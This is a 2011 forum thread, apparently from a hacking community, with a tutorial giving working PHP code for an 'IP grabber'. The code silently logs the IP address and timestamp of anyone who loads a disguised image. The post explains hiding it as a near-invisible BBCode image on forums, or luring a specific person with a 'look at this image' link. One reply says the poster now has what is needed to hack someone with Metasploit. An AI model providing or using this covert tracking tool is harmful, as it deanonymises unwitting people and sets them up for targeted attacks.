This is a tutorial on how to make your own PHP IP grabber. What you can do with this is post the url to where the grabber is located wrapped in [ IMG ] tags on most forums that accept BBcode. The image is nearly invisible // easy to hide due to the fact that it shows only an approx 2 x 2 px blank box. Like this Below
The Box will then LOG the IP of anyone who loads the page that it's posted on and it will be written to a txt file on your host.
// But if you want to target someone to get their IP there is the alternate Image technique which will work with the code i provide. You will have a HTML page with an Image on with, ( any image you wish ). You give the person who's IP you want the link with the image and tell them something like " LOL look at this image " . As soon as the page is loaded their IP is written to your Txt file on the host.
How to Setup
You will need to create ONE file on your host with the code below in it.
Name it Image.php or Index.php // or anything you wish.
Where you see "@%@%@%@%@%@%@%@%@%" in the code replace that with the URL to the image you wish to get people to view for the second technique.Code:<html><head> <title>Image</title> </head><body> <img src="@%@%@%@%@%@%@%@%@%"> <?php $ip = $_SERVER['REMOTE_ADDR']; $time = date("Y-m-d G:i:s A"); $text = "".$time." => ".$ip.""; $file = fopen('xxloglist.txt' , 'a'); fwrite($file,$text."\n"); fclose($file); ?> <br> </body></html>
If you want to post the blank image wrap the URL where your index.php file is in IMG tags.
If you want to target one person using the second image technique just provide them the URL to the index.php file.
Your IP Logs will be written to a file called xxloglist.txt unless you change the write file in the code
Questions // Concerns ..just ask.
Thank the Post <3
Results 1 to 11 of 11
-
10-10-2011 12:18 AM #1I'm too crazy for this
- Join Date
- Apr 2011
- Location
- 192.168.2.1
- Posts
- 1,023
- Rep
- 580
PHP IP Grabber // Image Technique
Last edited by XiRaX; 10-10-2011 at 07:00 AM.
-
10-10-2011 12:22 AM #2Je suis le professeur de français à Thomas
- Join Date
- May 2010
- Location
- France, Paris
- Posts
- 1,848
- Rep
- 148
-
10-10-2011 12:24 AM #3I'm too crazy for this
- Join Date
- Apr 2011
- Location
- 192.168.2.1
- Posts
- 1,023
- Rep
- 580
-
10-10-2011 12:29 AM #4Je suis le professeur de français à Thomas
- Join Date
- May 2010
- Location
- France, Paris
- Posts
- 1,848
- Rep
- 148
-
10-10-2011 12:31 AM #5I'm too crazy for this
- Join Date
- Apr 2011
- Location
- 192.168.2.1
- Posts
- 1,023
- Rep
- 580
-
10-10-2011 12:40 AM #6Je suis le professeur de français à Thomas
- Join Date
- May 2010
- Location
- France, Paris
- Posts
- 1,848
- Rep
- 148
-
10-10-2011 04:25 AM #7I'm too crazy for this
- Join Date
- Apr 2011
- Location
- 192.168.2.1
- Posts
- 1,023
- Rep
- 580
-
10-10-2011 02:14 PM #8Je suis le professeur de français à Thomas
- Join Date
- May 2010
- Location
- France, Paris
- Posts
- 1,848
- Rep
- 148
-
10-10-2011 08:08 PM #9Minecraft Donator
Spartan Warrior
- Join Date
- Apr 2010
- Location
- Snatchin Up Your Children
- Posts
- 1,353
- Rep
- 115
-
10-10-2011 09:04 PM #10Je suis le professeur de français à Thomas
- Join Date
- May 2010
- Location
- France, Paris
- Posts
- 1,848
- Rep
- 148
I'll look it up
i'll five you a result and you tell me if it's good :P
---------- Post added at 09:04 PM ---------- Previous post was at 08:20 PM ----------
Holy moly I understood some hacking today! I can now be called cultivated
thanks to you Fkareboy and XiRaX of course for setting this up i have everything i need to hack some one using metasploit and php IP grabbing
thanks again
-
10-11-2011 08:29 AM #11
- Join Date
- Oct 2009
- Posts
- 1,019
- Rep
- 255
There's no point in disabling *.php images, because you can just as easily serve a png/jpg/gif etc. file as a PHP file. Only real way to prevent it is to whitelist the allowed image hosts.
A lot of your code is redundant, but should work.


Reply With Quote




Bookmarks